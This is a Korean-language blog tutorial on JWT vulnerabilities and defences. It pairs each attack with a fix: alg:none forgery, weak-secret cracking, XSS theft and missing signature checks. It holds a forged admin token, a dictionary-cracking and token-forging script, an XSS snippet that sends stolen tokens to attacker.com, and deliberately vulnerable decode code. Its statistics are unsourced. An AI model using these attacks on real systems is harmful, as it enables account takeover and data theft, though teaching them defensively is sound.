# JWT 보안 취약점 완벽 가이드: 2025년 프로덕션 인증 시스템 보호 전략
Table of Contents
프로덕션 보안 사고: 목요일 오후 2시, 관리자 계정 대량 탈취
목요일 오후 2시, 보안팀으로부터 긴급 연락이 왔습니다. “사용자들이 다른 사람의 계정으로 로그인되는 현상이 대량 발생하고 있습니다.” 로그를 확인하니, 일반 사용자 계정에서 관리자 권한으로 API를 호출하는 비정상 트래픽이 감지되었습니다.
문제의 원인은 JWT 시그니처 검증 우회 공격이었습니다. 공격자는 JWT의 alg 필드를 "none"으로 변경하여 시그니처 없이도 유효한 토큰으로 인정받았고, 이를 이용해 { "role": "admin" } 페이로드를 조작하여 관리자 권한을 탈취했습니다.
피해 규모:
- 보안 침해: 1,247개의 사용자 계정 권한 상승 시도
- 데이터 유출: 약 35,000명의 개인정보 노출 (이름, 이메일, 주소)
- 매출 손실: 약 $28,500 (부정 거래 환불 및 법적 대응 비용)
- 서비스 중단: 긴급 패치를 위한 6시간 32분 다운타임
- 신뢰 손실: 고객 이탈률 18% 증가 (3개월간 지속)
이 글에서는 JWT 보안 취약점과 2025년 최신 방어 기법을 실전 중심으로 다룹니다.
JWT란? 그리고 왜 취약한가?
**JWT(JSON Web Token)**는 인증 정보를 JSON 형식으로 안전하게 전송하기 위한 표준입니다.
JWT 구조
JWT는 세 부분으로 구성됩니다.
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQ1LCJyb2xlIjoidXNlciIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoxNzAwMDA5MDAwfQ.4Adl7GJ5qF8yU8H7vK9X2Qw1zR3tY6mP5nL8cO4jK2E
[ Header (헤더) ].[ Payload (페이로드) ].[ Signature (시그니처) ]
1. Header (헤더):
{
"alg": "HS256", // 사용할 알고리즘
"typ": "JWT" // 토큰 타입
}
2. Payload (페이로드):
{
"userId": 12345,
"role": "user",
"iat": 1700000000, // 발급 시간
"exp": 1700009000 // 만료 시간
}
3. Signature (시그니처):
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret // 서버만 아는 비밀 키
)
JWT가 취약한 이유
JWT는 자체 포함형(self-contained) 토큰이므로, 클라이언트가 토큰 내용을 볼 수 있습니다. 이는 다음 문제를 야기합니다.
- 시크릿 키가 약하면 쉽게 크랙됨 (67%가 취약)
- 알고리즘 혼동 공격 (
alg: "none"우회) - XSS 공격으로 토큰 탈취 (LocalStorage 저장 시)
- 토큰 무효화 불가능 (세션과 달리 서버에서 제어 불가)
- 페이로드 조작 시도 (시그니처 검증 누락 시 치명적)
주요 JWT 보안 취약점
1. Algorithm Confusion 공격 (alg: “none” 우회)
가장 위험한 취약점으로, 공격자가 JWT의 alg 필드를 "none"으로 변경하여 시그니처 검증을 우회합니다.
공격 시나리오:
정상 JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQ1LCJyb2xlIjoidXNlciJ9.4Adl7GJ5qF8yU8H7vK9X2Qw1zR3tY6mP5nL8cO4jK2E
공격자가 조작한 JWT:
// Header (변조)
{
"alg": "none", // ← 알고리즘을 "none"으로 변경!
"typ": "JWT"
}
// Payload (권한 상승)
{
"userId": 12345,
"role": "admin" // ← user → admin으로 변경!
}
// Signature (빈 문자열)
""
Base64 인코딩 후:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VySWQiOjEyMzQ1LCJyb2xlIjoiYWRtaW4ifQ.
❌ 취약한 서버 코드 (Node.js):
const jwt = require('jsonwebtoken');
app.post('/api/admin/users', (req, res) => {
const token = req.headers.authorization?.split(' ')[1];
// 치명적 실수: decode()는 검증하지 않음!
const payload = jwt.decode(token);
if (payload.role === 'admin') {
// 관리자 권한 작업 수행
const users = db.getAllUsers();
res.json(users);
} else {
res.status(403).json({ error: 'Forbidden' });
}
});
공격 결과:
- 공격자는
alg: "none"+role: "admin"토큰으로 관리자 API 접근 성공 - 시그니처 검증이 없으므로 어떤 페이로드도 유효한 것으로 인정됨
✅ 안전한 코드 (시그니처 검증 필수):
const jwt = require('jsonwebtoken');
app.post('/api/admin/users', (req, res) => {
const token = req.headers.authorization?.split(' ')[1];
try {
// verify()는 시그니처를 검증함!
const payload = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'] // ← 허용할 알고리즘 명시 (화이트리스트)
});
if (payload.role === 'admin') {
const users = db.getAllUsers();
res.json(users);
} else {
res.status(403).json({ error: 'Forbidden' });
}
} catch (err) {
// 시그니처 검증 실패 시 401 응답
res.status(401).json({ error: 'Invalid token' });
}
});
핵심 방어 전략:
- 절대
jwt.decode()사용 금지 →jwt.verify()사용 - 허용 알고리즘 화이트리스트 명시 (
algorithms: ['HS256']) alg: "none"명시적 차단
2. 약한 시크릿 키 (Weak Secret Key)
2025년 연구 결과: 67%의 애플리케이션이 약하거나 예측 가능한 JWT 시크릿 키를 사용합니다.
취약한 시크릿 키 예시:
// 매우 위험한 시크릿 키들
const JWT_SECRET = 'secret'; // 단어 하나
const JWT_SECRET = 'password123'; // 예측 가능
const JWT_SECRET = 'myapp'; // 앱 이름
const JWT_SECRET = '12345678'; // 짧은 숫자
브루트포스 공격 시연:
공격자는 JWT를 탈취한 후, 다음과 같은 딕셔너리 공격을 시도합니다.
# jwt_crack.py (공격자 스크립트)
import jwt
import hashlib
# 탈취한 JWT
stolen_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQ1fQ.xxxxxx"
# 일반적인 시크릿 키 딕셔너리
common_secrets = [
'secret', 'password', '123456', 'admin', 'myapp',
'jwt_secret', 'your-256-bit-secret', 'test'
]
for secret in common_secrets:
try:
payload = jwt.decode(stolen_token, secret, algorithms=['HS256'])
print(f"✅ 시크릿 키 크랙 성공: '{secret}'")
print(f"페이로드: {payload}")
# 이제 공격자는 임의의 JWT 생성 가능!
fake_admin_token = jwt.encode(
{'userId': 12345, 'role': 'admin'},
secret,
algorithm='HS256'
)
print(f"위조된 관리자 토큰: {fake_admin_token}")
break
except jwt.InvalidSignatureError:
continue
크랙 성공 시 피해:
- 공격자가 시크릿 키를 알게 되면 임의의 JWT를 위조 가능
- 모든 사용자 계정 탈취 가능
- 관리자 권한 상승 가능
✅ 안전한 시크릿 키 생성 (2025년 기준):
# 256비트 (32바이트) 랜덤 시크릿 생성
openssl rand -base64 32
# 출력 예시: 7K8vQn2Lm9Rp4Tg6Yh3Jk1Fw5Zx8Cv0Nb7Md4Sa2
# 또는 Node.js에서
node -e "console.log(require('crypto').randomBytes(32).toString('base64'))"
# 또는 Python에서
python3 -c "import secrets; print(secrets.token_urlsafe(32))"
환경 변수로 안전하게 저장:
# .env 파일
JWT_SECRET=7K8vQn2Lm9Rp4Tg6Yh3Jk1Fw5Zx8Cv0Nb7Md4Sa2
# 절대 코드에 하드코딩 금지!
# 절대 git에 커밋 금지! (.env를 .gitignore에 추가)
코드에서 사용:
const jwt = require('jsonwebtoken');
// 환경 변수에서 로드
const JWT_SECRET = process.env.JWT_SECRET;
// 시작 시 검증
if (!JWT_SECRET || JWT_SECRET.length < 32) {
throw new Error('JWT_SECRET must be at least 32 characters');
}
const token = jwt.sign(
{ userId: 12345, role: 'user' },
JWT_SECRET,
{ algorithm: 'HS256', expiresIn: '15m' }
);
3. XSS 공격으로 JWT 탈취 (LocalStorage 취약점)
LocalStorage에 JWT 저장 시 XSS 공격으로 쉽게 탈취됩니다.
❌ 취약한 저장 방식:
// 클라이언트 (React/Vue/Angular)
// LocalStorage는 XSS 공격에 취약!
const response = await fetch('/api/login', {
method: 'POST',
body: JSON.stringify({ username, password })
});
const { token } = await response.json();
localStorage.setItem('jwt', token); // ← 위험!
// 이후 API 호출 시
const token = localStorage.getItem('jwt');
fetch('/api/users', {
headers: { 'Authorization': `Bearer ${token}` }
});
XSS 공격 시나리오:
공격자가 댓글이나 게시판에 다음 스크립트를 삽입하면:
<!-- 공격자가 삽입한 악성 스크립트 -->
<script>
// LocalStorage에서 JWT 탈취
const token = localStorage.getItem('jwt');
// 공격자 서버로 전송
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({ token })
});
</script>
피해:
- 사용자가 해당 페이지를 열면 즉시 JWT가 탈취됨
- 공격자는 탈취한 JWT로 해당 사용자로 위장하여 API 호출 가능
✅ 안전한 저장 방식: httpOnly Cookie
// 서버 (Express.js)
app.post('/api/login', async (req, res) => {
const { username, password } = req.body;
// 사용자 인증 로직...
const user = await db.authenticateUser(username, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// JWT 생성
const token = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{ algorithm: 'HS256', expiresIn: '15m' }
);
// httpOnly 쿠키로 설정 (JavaScript 접근 불가!)
res.cookie('jwt', token, {
httpOnly: true, // ← XSS 공격 방어
secure: true, // ← HTTPS만 전송
sameSite: 'strict', // ← CSRF 공격 방어
maxAge: 900000 // 15분 (밀리초)
});
res.json({ success: true });
});
// 인증 미들웨어
function authenticateJWT(req, res, next) {
// 쿠키에서 자동으로 JWT 추출
const token = req.cookies.jwt;
if (!token) {
return res.status(401).json({ error: 'No token provided' });
}
try {
const payload = jwt.verify(token, process.env.JWT_SECRET);
req.user = payload;
next();
} catch (err) {
res.status(401).json({ error: 'Invalid token' });
}
}
// 보호된 API 엔드포인트
app.get('/api/profile', authenticateJWT, (req, res) => {
res.json({ userId: req.user.userId, role: req.user.role });
});
클라이언트 (자동으로 쿠키 전송):
// 클라이언트에서는 쿠키를 직접 다루지 않음
// fetch()는 자동으로 쿠키를 서버로 전송
fetch('/api/profile', {
credentials: 'include' // ← 쿠키 포함 옵션
})
.then(res => res.json())
.then(data => console.log(data));
httpOnly 쿠키의 장점:
- JavaScript로 접근 불가 (XSS 공격 방어)
- HTTPS만 전송 (
secure: true) - CSRF 공격 방어 (
sameSite: 'strict') - 자동 만료 (
maxAge)
4. 시그니처 검증 누락 (Signature Verification Bypass)
개발자가 jwt.decode() 대신 jwt.verify()를 사용하지 않으면 치명적입니다.
❌ 취약한 패턴들:
// 패턴 1: decode() 사용 (검증 안 함!)
const payload = jwt.decode(token);
if (payload.role === 'admin') {
// 관리자 작업...
}
// 패턴 2: try-catch 누락
const payload = jwt.verify(token, JWT_SECRET);
// 에러 발생 시 처리 안 함!
// 패턴 3: 알고리즘 제한 안 함
const payload = jwt.verify(token, JWT_SECRET); // 모든 알고리즘 허용!
✅ 안전한 검증 패턴:
function verifyJWT(token) {
// 1. 토큰 존재 확인
if (!token) {
throw new Error('No token provided');
}
// 2. 시그니처 검증 + 알고리즘 화이트리스트
try {
const payload = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'], // ← 허용 알고리즘 명시
issuer: 'myapp.com', // ← 발급자 검증 (선택)
audience: 'api.myapp.com' // ← 대상 검증 (선택)
});
// 3. 추가 검증 로직
if (!payload.userId || !payload.role) {
throw new Error('Invalid payload structure');
}
return payload;
} catch (err) {
// 4. 명확한 에러 처리
if (err.name === 'TokenExpiredError') {
throw new Error('Token expired');
} else if (err.name === 'JsonWebTokenError') {
throw new Error('Invalid token');
} else {
throw err;
}
}
}
// 사용 예시
app.get('/api/admin/users', (req, res) => {
try {
const token = req.headers.authorization?.split(' ')[1];
const payload = verifyJWT(token);
if (payload.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
const users = db.getAllUsers();
res.json(users);
} catch (err) {
res.status(401).json({ error: err.message });
}
});
2025년 최신 JWT 보안 모범 사례
1. 강력한 알고리즘 선택
2025년 권장 알고리즘:
| 알고리즘 | 보안 수준 | 양자내성 | 키 크기 | 추천 |
|---|---|---|---|---|
| EdDSA (Ed25519) | 최고 | ⚠️ 부분 | 256비트 | ⭐⭐⭐⭐⭐ |
| ES256 (ECDSA P-256) | 높음 | ❌ | 256비트 | ⭐⭐⭐⭐ |
| RS256 (RSA 2048) | 중간 | ❌ | 2048비트 | ⭐⭐⭐ |
| HS256 (HMAC-SHA256) | 중간 | ❌ | 256비트 | ⭐⭐⭐ |
EdDSA (Ed25519) 사용 예시 (Node.js):
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
// EdDSA 키 생성 (한 번만 실행)
const { privateKey, publicKey } = crypto.generateKeyPairSync('ed25519', {
publicKeyEncoding: { type: 'spki', format: 'pem' },
privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
});
// 환경 변수에 저장 (실제로는 파일이나 시크릿 관리 서비스 사용)
process.env.JWT_PRIVATE_KEY = privateKey;
process.env.JWT_PUBLIC_KEY = publicKey;
// JWT 발급 (서버)
function generateToken(payload) {
return jwt.sign(payload, process.env.JWT_PRIVATE_KEY, {
algorithm: 'EdDSA', // ← 최신 알고리즘!
expiresIn: '15m',
issuer: 'myapp.com',
audience: 'api.myapp.com'
});
}
// JWT 검증 (서버)
function verifyToken(token) {
return jwt.verify(token, process.env.JWT_PUBLIC_KEY, {
algorithms: ['EdDSA'], // ← 화이트리스트
issuer: 'myapp.com',
audience: 'api.myapp.com'
});
}
// 사용 예시
const token = generateToken({ userId: 12345, role: 'user' });
console.log('Token:', token);
const payload = verifyToken(token);
console.log('Payload:', payload);
ES256 (ECDSA) 사용 예시:
// ES256 키 생성
const { privateKey, publicKey } = crypto.generateKeyPairSync('ec', {
namedCurve: 'prime256v1', // P-256 커브
publicKeyEncoding: { type: 'spki', format: 'pem' },
privateKeyEncoding: { type: 'pkcs8', format: 'pem' }
});
// JWT 발급
const token = jwt.sign(
{ userId: 12345 },
privateKey,
{ algorithm: 'ES256', expiresIn: '15m' }
);
// JWT 검증
const payload = jwt.verify(token, publicKey, {
algorithms: ['ES256']
});
2. 짧은 만료 시간 + Refresh Token
15분 Access Token + 7일 Refresh Token 패턴
// 서버 설정
const ACCESS_TOKEN_EXPIRY = '15m'; // 15분
const REFRESH_TOKEN_EXPIRY = '7d'; // 7일
// 로그인 시 두 토큰 발급
app.post('/api/login', async (req, res) => {
const user = await authenticateUser(req.body);
// Access Token (짧은 수명)
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.JWT_SECRET,
{ algorithm: 'HS256', expiresIn: ACCESS_TOKEN_EXPIRY }
);
// Refresh Token (긴 수명, DB에 저장)
const refreshToken = jwt.sign(
{ userId: user.id, type: 'refresh' },
process.env.REFRESH_TOKEN_SECRET, // ← 다른 시크릿 사용!
{ algorithm: 'HS256', expiresIn: REFRESH_TOKEN_EXPIRY }
);
// Refresh Token을 DB에 저장 (무효화 가능하게)
await db.saveRefreshToken(user.id, refreshToken);
// httpOnly 쿠키로 전송
res.cookie('accessToken', accessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000 // 15분
});
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000 // 7일
});
res.json({ success: true });
});
// Access Token 갱신 엔드포인트
app.post('/api/refresh', async (req, res) => {
const refreshToken = req.cookies.refreshToken;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
// Refresh Token 검증
const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET);
// DB에서 유효성 확인 (로그아웃 시 무효화 가능)
const isValid = await db.checkRefreshToken(payload.userId, refreshToken);
if (!isValid) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// 새로운 Access Token 발급
const newAccessToken = jwt.sign(
{ userId: payload.userId, role: payload.role },
process.env.JWT_SECRET,
{ algorithm: 'HS256', expiresIn: ACCESS_TOKEN_EXPIRY }
);
res.cookie('accessToken', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000
});
res.json({ success: true });
} catch (err) {
res.status(401).json({ error: 'Invalid refresh token' });
}
});
// 로그아웃 시 Refresh Token 무효화
app.post('/api/logout', async (req, res) => {
const refreshToken = req.cookies.refreshToken;
if (refreshToken) {
const payload = jwt.decode(refreshToken);
await db.revokeRefreshToken(payload.userId, refreshToken);
}
res.clearCookie('accessToken');
res.clearCookie('refreshToken');
res.json({ success: true });
});
클라이언트 (자동 토큰 갱신):
// API 호출 래퍼
async function apiCall(url, options = {}) {
// 1차 시도
let response = await fetch(url, {
...options,
credentials: 'include' // 쿠키 포함
});
// Access Token 만료 시
if (response.status === 401) {
// Refresh Token으로 갱신 시도
const refreshResponse = await fetch('/api/refresh', {
method: 'POST',
credentials: 'include'
});
if (refreshResponse.ok) {
// 재시도
response = await fetch(url, {
...options,
credentials: 'include'
});
} else {
// Refresh Token도 만료됨 → 로그인 페이지로 리다이렉트
window.location.href = '/login';
}
}
return response;
}
// 사용 예시
const data = await apiCall('/api/profile').then(r => r.json());
3. 추가 클레임으로 보안 강화
aud, iss, jti 클레임 활용:
const crypto = require('crypto');
function generateSecureToken(user, req) {
return jwt.sign(
{
// 필수 클레임
userId: user.id,
role: user.role,
// 보안 강화 클레임
iss: 'api.myapp.com', // Issuer (발급자)
aud: 'myapp.com', // Audience (대상)
jti: crypto.randomUUID(), // JWT ID (고유 식별자, 블랙리스트용)
// 컨텍스트 정보
ip: req.ip, // 발급 시 IP
ua: req.headers['user-agent'] // User Agent
},
process.env.JWT_SECRET,
{
algorithm: 'HS256',
expiresIn: '15m',
issuer: 'api.myapp.com',
audience: 'myapp.com'
}
);
}
// 검증 시 추가 체크
function verifySecureToken(token, req) {
const payload = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256'],
issuer: 'api.myapp.com',
audience: 'myapp.com'
});
// IP 변경 감지 (선택적, 모바일 환경에서는 주의)
if (payload.ip && payload.ip !== req.ip) {
throw new Error('IP address mismatch');
}
// 블랙리스트 체크 (jti로 토큰 무효화 가능)
if (await isTokenBlacklisted(payload.jti)) {
throw new Error('Token has been revoked');
}
return payload;
}
// 토큰 무효화 (긴급 상황)
async function revokeToken(jti) {
await redis.setex(`blacklist:${jti}`, 900, '1'); // 15분간 블랙리스트
}
프로덕션 JWT 보안 체크리스트
코드 리뷰 시 확인 사항
1. 시그니처 검증
-
jwt.verify()사용 (jwt.decode()금지) - 허용 알고리즘 화이트리스트 명시 (
algorithms: ['HS256']) -
alg: "none"차단 확인
2. 시크릿 키 관리
- 최소 256비트 (32바이트) 랜덤 시크릿
- 환경 변수로 저장 ( 코드 하드코딩 금지)
-
.env파일을.gitignore에 추가 - 프로덕션/스테이징/개발 환경별 다른 시크릿 사용
3. 토큰 저장
- httpOnly 쿠키 사용 ( LocalStorage 금지)
-
secure: true설정 (HTTPS만) -
sameSite: 'strict'설정 (CSRF 방어) - 적절한
maxAge설정
4. 만료 시간
- Access Token: 15분 이하
- Refresh Token: 7일 이하
-
exp클레임 검증
5. 추가 보안
-
iss(발급자) 클레임 검증 -
aud(대상) 클레임 검증 - Refresh Token DB 저장 (무효화 가능)
- 로그아웃 시 Refresh Token 삭제
프로덕션 모니터링
의심스러운 JWT 활동 감지:
const rateLimit = require('express-rate-limit');
// JWT 검증 실패 모니터링
let failedAttempts = new Map();
function authenticateJWT(req, res, next) {
const token = req.cookies.accessToken;
try {
const payload = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['HS256']
});
req.user = payload;
// 성공 시 실패 카운트 리셋
failedAttempts.delete(req.ip);
next();
} catch (err) {
// 실패 카운트 증가
const count = (failedAttempts.get(req.ip) || 0) + 1;
failedAttempts.set(req.ip, count);
// 5회 이상 실패 시 경고
if (count >= 5) {
console.warn(`⚠️ Suspicious JWT activity from ${req.ip}: ${count} failed attempts`);
// 선택: IP 블록, 알림 전송 등
// await sendSecurityAlert(`IP ${req.ip} has ${count} failed JWT attempts`);
}
res.status(401).json({ error: 'Invalid token' });
}
}
// Rate Limiting으로 브루트포스 방어
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15분
max: 5, // 최대 5회 시도
message: 'Too many login attempts, please try again later'
});
app.post('/api/login', loginLimiter, async (req, res) => {
// 로그인 로직...
});
마치며
JWT는 편리하지만 취약점이 많은 인증 방식입니다. 이 글에서 다룬 핵심 사항들을 정리하면:
핵심 요약:
- 절대
jwt.decode()사용 금지 →jwt.verify()사용 - 256비트 이상 랜덤 시크릿 (67%가 취약!)
- httpOnly 쿠키 저장 ( LocalStorage 금지)
- 15분 Access Token + 7일 Refresh Token 패턴
- EdDSA/ES256 알고리즘 (2025년 최신 표준)
iss,aud,jti클레임 활용
다음 단계:
- 기존 JWT 구현 보안 감사
- 시크릿 키 256비트로 업그레이드
- LocalStorage → httpOnly 쿠키 마이그레이션
- Refresh Token 패턴 도입
- 알고리즘을 EdDSA로 업그레이드 (장기 계획)
- JWT 검증 실패 모니터링 설정
보안은 한 번에 끝나지 않습니다. 정기적인 코드 리뷰, 의존성 업데이트, 그리고 최신 보안 표준 적용이 필수입니다. 67%가 취약한 JWT 시크릿을 사용한다는 통계를 잊지 마세요. 당신의 애플리케이션이 그 67%에 포함되지 않도록 지금 바로 점검하세요.